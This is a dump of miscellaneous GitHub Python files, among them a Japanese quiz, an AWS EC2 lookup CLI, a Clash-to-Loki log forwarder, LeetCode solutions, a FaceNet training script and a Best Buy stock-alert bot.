accumulate_batches=accumulate_batches,\n        batches_per_step=batches_per_step,\n        decay_rate=decay_rate,\n        check_every=check_every,\n        test_fn=test_fn,\n        **kwargs,\n    )\n","repo_name":"mederrata/bayesianquilts","sub_path":"bayesianquilts/vi/minibatch.py","file_name":"minibatch.py","file_ext":"py","file_size_in_byte":6284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"75037122348","text":"import random\n\n            \n\n\nminutesOfAnHourReference = {}\n\nfor minute in range(11, 61):\n    pass\n\n\n\ndef quizQuestion(shitsumon):\n    maxLength = len(shitsumon)-1\n    correctAnswers = 0\n    \n    while(maxLength >= 0 ):\n        \n        if maxLength == 0 :\n            randomNum =  0\n        else:\n            randomNum =  random.randrange(0,maxLength)\n        \n        chosenMonth = shitsumon[randomNum]\n        shitsumon[randomNum] = shitsumon[maxLength]\n        \n        \n        userInput = input(\"Japanese For: {} \\n\".format(chosenMonth[0]))\n        \n        if(userInput == chosenMonth[1]) :\n            print(\"Correct. Next!\" )\n            correctAnswers = correctAnswers + 1\n        else:\n            print(\"Wrong Answer. \\n Correct Answer is: {}\".format(chosenMonth[1]))\n            \n        \n        maxLength = maxLength - 1\n    \n    print(\"You got {} out of {} correct answers\".format(correctAnswers, len(shitsumon)))\n\nquiz = Quiz(quizSetSelections, quizQuestion)\nquiz.startQuiz()","repo_name":"DanzelTaccayan/PyJap","sub_path":"pyjap/quiz_types/PythonScriptForLearningJapaneseDaysAndMonth.py","file_name":"PythonScriptForLearningJapaneseDaysAndMonth.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"74480124268","text":"import click\nimport boto3\nimport json\n\n@click.command()\n@click.argument('name', default='', required=False)\ndef main(name):\n    \"\"\"ISSH/RDP command line tool for EC2\"\"\"\n    click.echo('Connecting to {0}.'.format(name))\n\n    #Initiate Ec2 client\n    botoSession = boto3.Session()\n    ec2 = botoSession.resource('ec2')\n    ec2Client = boto3.client('ec2')\n    instanceFilter = [\n    \t\t\t\t{\n    \t\t\t\t  \"Name\": \"tag:Name\",\n    \t\t\t\t  \"Values\" : [\n    \t\t\t\t  \t\tname,\n    \t\t\t\t  ]\n    \t\t\t\t},\n    \t\t\t]\n    response = ec2Client.describe_instances(\n    \t\t\tFilters=instanceFilter)\n\n    instances = ec2.instances.filter(Filters = instanceFilter)\n    if instances.Size > 1:\n    \tfor instance in instances:\n    \t\tfor tag in instance.tags:\n    \t\t\tprint(tag.key)\n    \t\t\tprint(tag.value)\n\n\n #   click.echo(response)\n    for instance in instances:\n        print(name)\n        print(instance.private_ip_address)\n        print(instance.public_ip_address)\n\n    print(locals())\n\n\n","repo_name":"jamiegs/connect-ec2","sub_path":"connect_ec2/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"73341177388","text":"import json\nimport logging\nimport socket\nimport time\nimport asyncio\nfrom queue import Queue\nfrom collections import defaultdict\n\nfrom httpx import Client, AsyncClient, ConnectError\nfrom httpx_ws import (\n    connect_ws,\n    aconnect_ws,\n    WebSocketNetworkError,\n    WebSocketUpgradeError,\n)\n\nfrom grafana.client_loki import LokiClient, Stream\n\nlogger = logging.getLogger(\"host-service.grafana.clash\")\n\nHOSTNAME = socket.gethostname()\n\n\ndef transform_traffic(data: dict) -> dict:\n    data[\"type\"] = \"traffic\"\n    data[\"reportNode\"] = HOSTNAME\n    if \"source_type\" in data:\n        del data[\"source_type\"]\n    return data\n\n\ndef transform_tracing(data: dict) -> dict:\n    data[\"type\"]: str = data.get(\"type\", \"\").lower()\n    data[\"reportNode\"] = HOSTNAME\n    if \"metadata\" in data:\n        metadata = data.pop(\"metadata\")\n        data[\"metadata_dstip\"] = metadata[\"destinationIP\"]\n        data[\"metadata_dstport\"] = metadata[\"destinationPort\"]\n        data[\"metadata_host\"] = metadata[\"host\"]\n        data[\"metadata_network\"] = metadata[\"network\"]\n        data[\"metadata_srcip\"] = metadata[\"sourceIP\"]\n        data[\"metadata_srcport\"] = metadata[\"sourcePort\"]\n        data[\"metadata_type\"] = metadata[\"type\"]\n        data[\"metadata_dnsmode\"] = metadata[\"dnsMode\"]\n    return data\n\n\ndef transform_logs(data: dict) -> dict:\n    data[\"level\"] = data[\"type\"]\n    data[\"type\"] = \"logs\"\n    return data\n\n\ndef transform_connections(data: dict) -> dict:\n    data[\"type\"] = \"connections\"\n    return data\n\n\nclass Clash:\n    def __init__(self, host, token):\n        self.client = Client(\n            base_url=f\"http://{host}\",\n            params={\"token\": token},\n        )\n        self.queue_traffic = Queue()\n        self.queue_profile = Queue()\n\n    def ws_traffic(self):\n        with connect_ws(\n            \"/traffic\", self.client, keepalive_ping_timeout_seconds=None\n        ) as ws:\n            while True:\n                self.queue_traffic.put(transform_traffic(ws.receive_json()))\n\n    def ws_profile_tracing(self):\n        pass\n\n\nclass AClash:\n    def __init__(self, host, token):\n        self.host = host\n        self.client = AsyncClient(\n            base_url=f\"http://{host}\",\n            params={\"token\": token},\n        )\n        self.login_input = []\n        self.queue = asyncio.Queue()\n\n    async def _ws(self, url, transform_callback, **kwargs):\n        logger.info(\"Started receive %s ... \", url)\n        async with aconnect_ws(\n            url, self.client, keepalive_ping_timeout_seconds=None, **kwargs\n        ) as ws:\n            logger.info(\"Connected to %s%s .\", self.client.base_url, url)\n            while True:\n                data = await ws.receive_json()\n                data = transform_callback(data)\n                await self.queue.put([str(time.time_ns()), data])\n                logger.debug(\"added %s: %s\", data[\"type\"], data)\n\n    async def _try_ws(self, url, transform_callback, **kwargs):\n        logger.info(\"创建一个WebSocket守护携程任务: %s%s\", self.host, url)\n        while True:\n            start = time.time()\n            try:\n                await self._ws(url, transform_callback, **kwargs)\n            except WebSocketNetworkError:\n                logger.warning(\n                    \"WebSocketNetworkError: This Connection lasts %.2f seconds\",\n                    time.time() - start,\n                )\n            except WebSocketUpgradeError as _e:\n                logger.error(\n                    \"WebSocketUpgradeError: %s, Will be exit for the %s ...\", _e, url\n                )\n                return\n            except ConnectError as _e:\n                logger.error(\n                    \"ConnectError: [%s]%s, \",\n                    self.host + url,\n                    _e,\n                )\n                await asyncio.sleep(5)\n            except Exception as _e:\n                logger.warning(\n                    \"Connect to %s%s, Error: %s, Try again in 5 seconds ...\",\n                    self.host,\n                    url,\n                    _e,\n                    exc_info=True,\n                )\n                await asyncio.sleep(5)\n\n    async def ws_traffic(self):\n        \"\"\"实时流量\"\"\"\n        name = f\"ws_clash_{self.host}_traffic\"\n        self.login_input.append(name)\n        return asyncio.create_task(\n            self._try_ws(\n                \"/traffic\",\n                transform_traffic,\n            ),\n            name=name,\n        )\n\n    async def ws_profile_tracing(self):\n        \"\"\"创建一个task, 并持续的接受内容\"\"\"\n        name = f\"ws_clash_{self.host}_tracing\"\n        self.login_input.append(name)\n        return asyncio.create_task(\n            self._try_ws(\n                \"/profile/tracing\",\n                transform_tracing,\n            ),\n            name=name,\n        )\n\n    async def ws_logs(self):\n        \"\"\"日志信息\"\"\"\n        name = f\"ws_clash_{self.host}_logs\"\n        self.login_input.append(name)\n        return asyncio.create_task(\n            self._try_ws(\"/logs\", transform_logs, params={\"level\": \"debug\"}), name=name\n        )\n\n    async def ws_connections(self):\n        \"\"\"连接信息\"\"\"\n        name = f\"ws_clash_{self.host}_connections\"\n        self.login_input.append(name)\n        return asyncio.create_task(self._try_ws(\"/connections\", transform_connections))\n\n    async def create_streams(self) -> list[Stream]:\n        if self.queue.empty():\n            return []\n        streams = defaultdict(list)\n        for _ in range(self.queue.qsize()):\n            data = await self.queue.get()\n            label_type = data[1][\"type\"]\n            data[1] = json.dumps(data[1])\n            streams[label_type].append(data)\n\n        return [\n            Stream(\n                stream={\n                    \"type\": k,\n                },\n                values=v,\n            )\n            for k, v in streams.items()\n        ]\n\n    async def push(self, loki_client: LokiClient):\n        while True:\n            await asyncio.sleep(5)\n            logger.debug(\"Queue size: %d\", self.queue.qsize())\n            streams = await self.create_streams()\n            if streams:\n                asyncio.create_task(loki_client.a_push(streams))\n\n            # Exit when input task down.\n            for task in asyncio.all_tasks():\n                if task.get_name() in self.login_input:\n                    break\n            else:\n                logger.error(\"Input Task all Down.\")\n                return\n\n    async def run(self):\n        await self.ws_traffic()\n        await self.ws_profile_tracing()\n        await self.ws_logs()\n        await self.ws_connections()\n        logger.info(\"Started all ws ...\")\n\n    async def run_with_loki(self, loki_client: LokiClient):\n        await self.run()\n        await self.push(loki_client)\n\n\ndef test_aclash():\n    async def main():\n        a = AClash(\"localhost:29090\", \"123456\")\n        await a.ws_traffic()\n        await a.ws_profile_tracing()\n        while True:\n            await asyncio.sleep(1)\n            print([a.model_dump() for a in await a.create_streams()])\n\n    logging.basicConfig(\n        level=\"INFO\",\n    )\n    logger.info(\"Start .\")\n    asyncio.run(main())\n\n\nif __name__ == \"__main__\":\n    test_aclash()\n","repo_name":"lee-cq/host-service","sub_path":"grafana/clash.py","file_name":"clash.py","file_ext":"py","file_size_in_byte":7199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"70787108908","text":"# -*- coding: utf-8 -*-\r\n# @Time    : 2023/2/24 12:50\r\nimport copy\r\nimport json\r\n\r\n\r\ntemplate =[\r\n  {\r\n    \"id\": \"identity_0\",\r\n    \"conversations\": [\r\n      {\r\n        \"from\": \"user\",\r\n        \"value\": \"你好\"\r\n      },\r\n      {\r\n        \"from\": \"assistant\",\r\n        \"value\": \"我是Qwen-VL,一个支持视觉输入的大模型。\"\r\n      }\r\n    ]\r\n  },\r\n  {\r\n    \"id\": \"identity_1\",\r\n    \"conversations\": [\r\n      {\r\n        \"from\": \"user\",\r\n        \"value\": \"Picture 1: <img>../assets/demo.jpeg</img>\\n图中的狗是什么品种？\"\r\n      },\r\n      {\r\n        \"from\": \"assistant\",\r\n        \"value\": \"图中是一只拉布拉多犬。\"\r\n      },\r\n      {\r\n        \"from\": \"user\",\r\n        \"value\": \"框出图中的格子衬衫\"\r\n      },\r\n      {\r\n        \"from\": \"assistant\",\r\n        \"value\": \"<ref>格子衬衫</ref><box>(588,499),(725,789)</box>\"\r\n      }\r\n    ]\r\n  },\r\n  {\r\n    \"id\": \"identity_2\",\r\n    \"conversations\": [\r\n      {\r\n        \"from\": \"user\",\r\n        \"value\": \"Picture 1: <img>../assets/Chongqing.jpeg</img>\\nPicture 2: <img>../assets/Beijing.jpeg</img>\\n图中都是哪\"\r\n      },\r\n      {\r\n        \"from\": \"assistant\",\r\n        \"value\": \"第一张图片是重庆的城市天际线，第二张图片是北京的天际线。\"\r\n      }\r\n    ]\r\n  }\r\n]\r\n\r\nx = []\r\nfor i,item in enumerate(template):\r\n  d = {\r\n    \"id\": i\r\n  }\r\n  d[\"paragraph\"] = []\r\n  one = {}\r\n  for j,conversation in enumerate(item[\"conversations\"]):\r\n    if j % 2 == 0:\r\n      one[\"q\"] = conversation[\"value\"]\r\n    else:\r\n      one[\"a\"] = conversation[\"value\"]\r\n      d[\"paragraph\"].append(copy.deepcopy(one))\r\n      one.clear()\r\n\r\n  x.append(d)\r\n\r\n\r\n\r\n\r\n\r\nwith open('./finetune_train_examples.json',mode='w',encoding='utf-8',newline='\\n') as f:\r\n    index = 0\r\n    for i in range(100):\r\n        for j in range(len(x)):\r\n            index += 1\r\n            x[j]['id'] = index\r\n            f.write(json.dumps(x[j],ensure_ascii=False) + '\\n' )\r\n","repo_name":"ssbuild/qwen_vl_finetuning","sub_path":"data/make_data_example.py","file_name":"make_data_example.py","file_ext":"py","file_size_in_byte":1935,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"37284788925","text":"class ListNode(object):\n    def __init__(self, x):\n        self.val = x\n        self.next = None\n    def __str__(self):\n        res=[]\n        while self:\n            res.append(self.val)\n            self=self.next\n        return str(res)\n\nclass Solution(object):\n    def split(self,head):\n        walker=head\n        runner=head\n        while runner and runner.next and runner.next:\n            walker=walker.next\n            runner=runner.next.next\n        return walker\n\n    def reverse(self,head):\n        new_head=ListNode(0)\n        while head:\n            cache=head.next\n            head.next=new_head.next\n            new_head.next=head\n            head=cache\n        return new_head.next\n    def meger_two_list(self,head,right_begin):\n        if head is right_begin:\n            return\n        new_head=ListNode(0)\n        work_new_head=new_head\n        while right_begin:\n            cache_head=head.next\n            cache_right=right_begin.next\n            work_new_head.next=head\n            work_new_head.next.next=right_begin\n            work_new_head=work_new_head.next.next\n            head=cache_head\n            right_begin=cache_right\n            if head is right_begin:\n                break\n        return new_head.next\n\n    def reorderList(self, head):\n        \"\"\"\n        :type head: ListNode\n        :rtype: void Do not return anything, modify head in-place instead.\n        \"\"\"\n        right_begin=self.split(head)\n        reverse_right_begin=self.reverse(right_begin)\n        res=self.meger_two_list(head,reverse_right_begin)\n\ndef creatList(n):\n    cur=head=ListNode(0)\n    for i in range(1,n+1):\n        newNode=ListNode(i)\n        newNode.next=None\n        cur.next=newNode\n        cur=cur.next\n    return head.next\n\nl1=creatList(6)\nprint(l1)\ns=Solution()\ns.reorderList(l1)\nprint(l1)\n\n\n","repo_name":"jiangshshui/leetcode","sub_path":"thirdPage/ReorderList_143.py","file_name":"ReorderList_143.py","file_ext":"py","file_size_in_byte":1815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"37133449525","text":"# Method: dp/binary search\n\nfrom bisect import *\nclass Solution:\n    def lengthOfLIS(self, nums: List[int]) -> int:\n        \n        # method: binary search, T: O(NlogN)\n        # basic idea: 通过二分法，使单调递增序列缓慢增长\n        # ref: https://leetcode.cn/problems/longest-increasing-subsequence/solution/dong-tai-gui-hua-he-er-fen-cha-zhao-lian-x7dh/\n        q = [nums[0]]\n        nums = nums[1:]\n        \n        for num in nums:\n            # 因为q是单调递增的，所以直接判断q中最大值与num的大小关系\n            # 确定要append还是replace\n            if q and q[-1] < num:\n                q.append(num)\n            else:\n                # bisect_left找的是插入位点，从左开始查找\n                idx = bisect_left(q, num)\n                q[idx] = num\n        return len(q)\n        \n        \n        # method: dp; T:O(N^2)\n#         dp = [1] * len(nums)\n#         res = 1\n        \n#         for i in range(1, len(nums)):\n#             for j in range(i):\n#                 if nums[j] < nums[i]:\n#                     dp[i] = max(dp[i], dp[j]+1)\n#             res = max(res, dp[i])  \n#         return res\n","repo_name":"yuqingjin/leetcode-problems","sub_path":"300.LongestIncreasingSubsequence.py","file_name":"300.LongestIncreasingSubsequence.py","file_ext":"py","file_size_in_byte":1169,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"35812291087","text":"import os\r\nimport glob\r\n\r\n\"\"\"\r\nThis script postprocesses numerous OpenFOAM uLine files\r\n\"\"\"\r\n\r\nlinePath=r'Z:\\Jason\\Projects\\2020\\EatonNordNumerics\\PreSims\\pre_uni0_05_cyclicSidesRoughULES\\postProcessing\\lineTests'\r\nos.chdir(r'C:\\Users\\Jason\\Desktop\\New Folder')\r\n\r\nfileNames,namesExt=getFileNames(linePath)\r\n\r\ndef getFileNames(linePath):\r\n    for root, dirs, files in os.walk(linePath):\r\n        fileNames=[]\r\n        for dirname in sorted(dirs, key=float):\r\n            names = [os.path.basename(x) for x in glob.glob(root+'\\\\'+dirname+'\\\\'+'*.xy')]\r\n            for name in names:\r\n                fileNames.append(name.split('.')[0])\r\n            return fileNames,names\r\n        \r\nfor name in names:\r\n    os.system('mkdir %s' % name)\r\n    \r\n#move files\r\n    \r\ndef moveFiles(linePath,namesExt):\r\n    for root, dirs, files in os.walk(linePath):\r\n        \r\n        for dirname in sorted(dirs, key=float):\r\n            \r\n            for name in namesExt:\r\n                print('cp %s\\%s\\%s .\\%s' %(linePath,dirname,name,name.split('.')[0]))\r\n                os.system('cp %s\\%s\\%s .\\%s' %(linePath,dirname,name,name.split('.')[0]))\r\n\r\nmoveFiles(linePath,namesExt)","repo_name":"JD-Canada/pyFoamTools","sub_path":"pyFoamTools/processRawProfileData.py","file_name":"processRawProfileData.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"9720095398","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport tensorflow as tf\nimport numpy as np\nimport argparse\nimport facenet\nimport os\nimport sys\nimport math\nimport pickle\nfrom sklearn.svm import SVC\n\n'''\nCUDA_VISIBLE_DEVICES=1 python3 src/classify.py ./train/ ../20170512-110547/20170512-110547.pb --batch_size 128\n'''\n\ndef main(args):\n    with tf.Graph().as_default():\n\n        with tf.Session() as sess:\n\n            np.random.seed(seed=args.seed)\n\n            dataset = facenet.get_dataset(args.data_dir)\n\n            # Check that there are at least one training image per class\n            for cls in dataset:\n                assert (len(cls.image_paths) > 0, 'There must be at least one image for each class in the dataset')\n\n            np.random.shuffle(dataset)\n\n            paths, labels = facenet.get_image_paths_and_labels(dataset)\n\n            print('Number of classes: %d' % len(dataset))\n            print('Number of images: %d' % len(paths))\n\n            # Load the model\n            print('Loading feature extraction model')\n            facenet.load_model(args.model)\n\n            # Get input and output tensors\n            images_placeholder = tf.get_default_graph().get_tensor_by_name(\"input:0\")\n            embeddings = tf.get_default_graph().get_tensor_by_name(\"embeddings:0\") # [n,128]\n            phase_train_placeholder = tf.get_default_graph().get_tensor_by_name(\"phase_train:0\")\n            # embedding_size = embeddings.get_shape()[1]\n\n            x = tf.placeholder(tf.float32, (None, 128), name='x')\n            y_true = tf.placeholder(tf.int64, shape=[None, ], name='y_true')\n\n            # add some layer\n            with tf.variable_scope('Div'):\n                fc1 = tf.layers.dense(x, 128, activation=tf.nn.elu, name='fc1')\n                fc=tf.layers.dense(fc1,48,activation=tf.nn.sigmoid,name='coding_layer')\n                y_pred=tf.layers.dense(fc,751,activation=tf.nn.softmax,name='output')\n\n            cost = tf.reduce_mean(tf.nn.sparse_softmax_cross_entropy_with_logits(labels=y_true, logits=y_pred))\n\n            correct_prediction = tf.equal(tf.argmax(y_pred,1), y_true)\n            accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n\n            # 只更新coding_layer与output这两层参数，其他的参数不更新\n            tvars = tf.trainable_variables()  # 获取所有可以更新的变量\n            d_params = [v for v in tvars if v.name.startswith('Div/')]\n            lr=1e-3\n            train_op = tf.train.GradientDescentOptimizer(lr).minimize(cost, var_list=d_params)\n            init = tf.variables_initializer(var_list=d_params)\n\n            sess.run(init)\n            # Run forward pass to calculate embeddings\n            print('Calculating features for images')\n            nrof_images = len(paths)\n            nrof_batches_per_epoch = int(math.ceil(1.0 * nrof_images / args.batch_size))\n            # emb_array = np.zeros((nrof_images, embedding_size))\n\n            for epoch in range(10):\n                for i in range(nrof_batches_per_epoch):\n                    start_index = i*args.batch_size\n                    end_index = min((i+1)*args.batch_size, nrof_images)\n                    paths_batch = paths[start_index:end_index]\n                    images = facenet.load_data(paths_batch, False, False, args.image_size)\n                    feed_dict = { images_placeholder:images, phase_train_placeholder:False }\n                    # emb_array[start_index:end_index,:] = sess.run(embeddings, feed_dict=feed_dict)\n                    emb_array= sess.run(embeddings, feed_dict=feed_dict)\n\n                    feed_dict2={x:emb_array,y_true:labels[start_index:end_index]}\n                    sess.run(train_op,feed_dict2)\n\n                    if i%20==0:\n                        loss,acc=sess.run([cost,accuracy],feed_dict2)\n                        print('loss',loss,'|','acc',acc)\n\n                saver=tf.train.Saver()\n                saver.save(sess,'./models/model.ckpt')\n\n            sess.close()\n            exit(0)\n\ndef split_dataset(dataset, min_nrof_images_per_class, nrof_train_images_per_class):\n    train_set = []\n    test_set = []\n    for cls in dataset:\n        paths = cls.image_paths\n        # Remove classes with less than min_nrof_images_per_class\n        if len(paths) >= min_nrof_images_per_class:\n            np.random.shuffle(paths)\n            train_set.append(facenet.ImageClass(cls.name, paths[:nrof_train_images_per_class]))\n            test_set.append(facenet.ImageClass(cls.name, paths[nrof_train_images_per_class:]))\n    return train_set, test_set\n\n\ndef parse_arguments(argv):\n    parser = argparse.ArgumentParser()\n\n    parser.add_argument('data_dir', type=str,\n                        help='Path to the data directory containing aligned LFW face patches.')\n    parser.add_argument('model', type=str,\n                        help='Could be either a directory containing the meta_file and ckpt_file or a model protobuf (.pb) file')\n\n    parser.add_argument('--use_split_dataset',\n                        help='Indicates that the dataset specified by data_dir should be split into a training and test set. ' +\n                             'Otherwise a separate test set can be specified using the test_data_dir option.',\n                        action='store_true')\n    parser.add_argument('--test_data_dir', type=str,\n                        help='Path to the test data directory containing aligned images used for testing.')\n    parser.add_argument('--batch_size', type=int,\n                        help='Number of images to process in a batch.', default=90)\n    parser.add_argument('--image_size', type=int,\n                        help='Image size (height, width) in pixels.', default=160)\n    parser.add_argument('--seed', type=int,\n                        help='Random seed.', default=666)\n    parser.add_argument('--min_nrof_images_per_class', type=int,\n                        help='Only include classes with at least this number of images in the dataset', default=20)\n    parser.add_argument('--nrof_train_images_per_class', type=int,\n                        help='Use this number of images from each class for training and the rest for testing',\n                        default=10)\n\n    return parser.parse_args(argv)\n\n\nif __name__ == '__main__':\n    main(parse_arguments(sys.argv[1:]))\n","repo_name":"wucng/TensorExpand","sub_path":"TensorExpand/Object detection/facenet/classify.py","file_name":"classify.py","file_ext":"py","file_size_in_byte":6378,"program_lang":"python","lang":"en","doc_type":"code","stars":348,"dataset":"github-code","pt":"37"}
+{"seq_id":"73452328426","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\n    application runner\n\"\"\"\nfrom tornado.httpserver import HTTPServer\nfrom tornado.ioloop import IOLoop\nfrom tornado.options import options,define,parse_command_line\nfrom app import create_app\n\n\ndefine('host', default='0.0.0.0', type=str, help='server bind host')\ndefine('port', default=51888, type=int, help='server bind port')\n\n\ndef run(host, port):\n  app = create_app()\n  http_server = HTTPServer(app)\n  http_server.listen(port, address=host)\n  IOLoop.instance().start()\n\n\nif __name__ == '__main__':\n  parse_command_line()\n  run(options.host, options.port)\n\n\n","repo_name":"haojunyu/rec_platform","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"6019257955","text":"from tools.utils import (get_group_members,\n                         get_group_posts,\n                         get_group_info,\n                         get_group_stats)\n\nfrom parser.parser import (parse_info,\n                           parse_post,\n                           parse_stats,\n                           parse_user)\n\nimport unittest\n\nscreen_name = 'api_test_group'\ngroup_id = 199889983\n\nclass ParserTest(unittest.TestCase):\n    def test_user(self):\n        fields = ['sex', 'bdate', 'city', 'country', 'online', 'education', 'last_seen']\n        user = parse_user(get_group_members(group_id, count=1, fields=fields)[0])\n        self.assertEqual(user['first_name'], 'Иван')\n        self.assertEqual(user['last_name'], 'Ивано��')\n        self.assertEqual(user['sex'], 2)\n        self.assertEqual(user['bdate'], '1.1.1991')\n\n    def test_posts(self):\n        posts = list(map(parse_post, get_group_posts(group_id, count=3)))\n        self.assertEqual(posts[2]['date'], 1604089060)\n        self.assertEqual(posts[1]['text'], 'cat')\n        self.assertEqual(posts[1]['comments_count'], 2)\n        self.assertEqual(posts[2]['attachments'][0], 'photo')\n\n    def test_info(self):\n        fields = ['status', 'start_date', 'members_count',\n                  'description', 'counters', 'country', 'activity']\n        info = parse_info(get_group_info(group_id, fields=fields))\n        self.assertEqual(info['name'], 'VK_API_TEST_GROUP')\n        self.assertEqual(info['description'], 'description')\n        self.assertEqual(info['photos_count'], 1)\n        self.assertEqual(info['albums_count'], 1)\n\n    def test_stats(self):\n        dayvinchik = 91050183\n        stats = parse_stats(get_group_stats(dayvinchik, timestamp_from=10))\n        self.assertGreater(stats[-1]['RU_reach'], 3000000)\n        self.assertGreater(stats[-1]['18-21_visitors'], stats[-1]['45-100_visitors'])\n        self.assertEqual(len(stats), 10)\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"makarovNick/vk_group_analytics","sub_path":"test/test_parser.py","file_name":"test_parser.py","file_ext":"py","file_size_in_byte":1974,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"3158136143","text":"import time\nimport requests\nfrom datetime import datetime\nfrom bs4 import BeautifulSoup\nfrom twilio.rest import Client\n\nfrom config import *\n\ntwilio_client = Client(ACCOUNT_SSID, AUTH_TOKEN)\n\nclass Item:\n    _sleep_start_time = None\n    _consecutive_error_count = 0\n\n    def __init__(self, name, url):\n        self.name = name\n        self.url = url\n\n    def __str__(self):\n        return self.name\n\n    @property\n    def in_stock_message(self):\n        return f\"{self.name} in stock:\\n\\n{self.url}\"\n\n    def is_in_stock(self):\n        \"\"\"\n        Look at the status of the 'Add to Cart' button on the page.\n        \"\"\"\n        req = requests.get(self.url, headers=HEADERS)\n        soup = BeautifulSoup(req.content, features='html.parser')\n\n        add_to_cart_button = soup.find('button', {'class': 'add-to-cart-button'})\n\n        return add_to_cart_button.text != 'Sold Out'\n\n    def sleep(self):\n        \"\"\"\n        Set a timer to prevent receiving repeated texts about this Item after it is found in stock.\n        \"\"\"\n        self._sleep_start_time = datetime.now()\n\n    def is_sleeping(self):\n        \"\"\"\n        Check if the Item is sleeping. Wake it up if enough time has passed.\n        \"\"\"\n        if self._sleep_start_time is None:\n            return False\n        else:\n            if (datetime.now() - self._sleep_start_time).seconds >= SLEEP_TIME_IN_MINUTES * 60:\n                # Wake up\n                self._sleep_start_time = None\n                return False\n            else:\n                return True\n\n    def record_success(self):\n        self._consecutive_error_count = 0\n\n    def record_error(self, error):\n        \"\"\"\n        Check if Item should send a text notification due to too many errors.\n        \"\"\"\n        self._consecutive_error_count += 1\n\n        if self._consecutive_error_count == 10:\n            self.sleep()\n\n            message = f\"Repeated error checking {self.name}:\\n\\n{error}\"\n\n            twilio_client.messages.create(\n                body = message,\n                from_ = PHONE_FROM,\n                to = PHONE_TO\n            )\n\ndef main():\n\n    items = [\n        Item(\"3070 Founder's Edition\", \"https://www.bestbuy.com/site/nvidia-geforce-rtx-3070-8gb-gddr6-pci-express-4-0-graphics-item-dark-platinum-and-black/6429442.p?skuId=6429442\"),\n        Item(\"EVGA 3070 FTW3 Ultra\", \"https://www.bestbuy.com/site/evga-geforce-rtx-3070-ftw3-ultra-gaming-8gb-gddr6-pci-express-4-0-graphics-item/6439301.p?skuId=6439301\"),\n        Item(\"EVGA 3070 XC3 Ultra\", \"https://www.bestbuy.com/site/evga-geforce-rtx-3070-xc3-ultra-gaming-8gb-gddr6-pci-express-4-0-graphics-item/6439299.p?skuId=6439299\"),\n        Item(\"3080 Founder's Edition\", \"https://www.bestbuy.com/site/nvidia-geforce-rtx-3080-10gb-gddr6x-pci-express-4-0-graphics-item-titanium-and-black/6429440.p?skuId=6429440\"),\n        Item(\"EVGA 3080 FTW3 Ultra\", \"https://www.bestbuy.com/site/evga-geforce-rtx-3080-ftw3-ultra-gaming-10gb-gddr6-pci-express-4-0-graphics-item/6436196.p?skuId=6436196\"),\n        Item(\"EVGA 3080 XC3 Ultra\", \"https://www.bestbuy.com/site/evga-geforce-rtx-3080-xc3-ultra-gaming-10gb-gddr6-pci-express-4-0-graphics-item/6432400.p?skuId=6432400\"),\n        #Item('Test', 'https://www.bestbuy.com/site/nintendo-switch-monster-hunter-rise-deluxe-edition-system-gray-gray/6454044.p?skuId=6454044')\n    ]\n\n    while True:\n        for item in items:\n            print(\"-\"*60)\n            print(datetime.now().strftime(\"%m/%d/%Y %H:%M:%S\"))\n\n            if item.is_sleeping():\n                print(f\"{item} is sleeping.\")\n                continue\n\n            time.sleep(1)\n\n            print(f\"Checking {item}.\")\n\n            try:\n                if item.is_in_stock():\n                    twilio_client.messages.create(\n                        body = item.in_stock_message,\n                        from_ = PHONE_FROM,\n                        to = PHONE_TO \n                    )\n\n                    item.sleep()\n\n                    print(\"IN STOCK\")\n\n                else:\n                    print(\"Not in stock.\")\n\n                item.record_success()\n\n            except Exception as e:\n                print(f\"Failed.\\n\\n{e}\")\n                item.record_error(e)\n\nif __name__ == '__main__':\n    main()\n","repo_name":"ryanmcf10/bb-stock-checker","sub_path":"bb-stock-checker.py","file_name":"bb-stock-checker.py","file_ext":"py","file_size_in_byte":4228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"74130458611","text":"from __future__ import annotations\r\nfrom typing import Any, List\r\nimport graphviz\r\n\r\n\r\nclass BinaryNode:\r\n    value: Any\r\n    left_child: 'BinaryNode'\r\n    right_child: 'BinaryNode'\r\n\r\n    def __init__(self, value: Any) -> None:\r\n        self.value = value\r\n        self.left_child = None\r\n        self.right_child = None\r\n\r\n    def min(self) -> BinaryNode:\r\n        minnode = self\r\n        if self.left_child < minnode.value:\r\n            minnode = self.left_child\r\n            self.left_child.min()\r\n        return minnode\r\n\r\n\r\nclass BinarySearchTree:\r\n    root: BinaryNode\r\n\r\n    def __init__(self, root: 'BinaryNode') -> None:\r\n        self.root = root\r\n\r\n    def insert(self, value: Any) -> None:\r\n        self.root = self._insert(self.root, value)\r\n\r\n    def _insert(self, node: BinaryNode, value: Any) -> BinaryNode:\r\n        if value < node.value:\r\n            if node.left_child is not None:\r\n                self._insert(node.left_child, value)\r\n            else:\r\n                node.left_child = BinaryNode(value)\r\n        else:\r\n            if node.right_child is not None:\r\n                self._insert(node.right_child, value)\r\n            else:\r\n                node.right_child = BinaryNode(value)\r\n        return node\r\n\r\n    def insert_list(self, list_: List[Any]) -> None:\r\n        for x in list_:\r\n            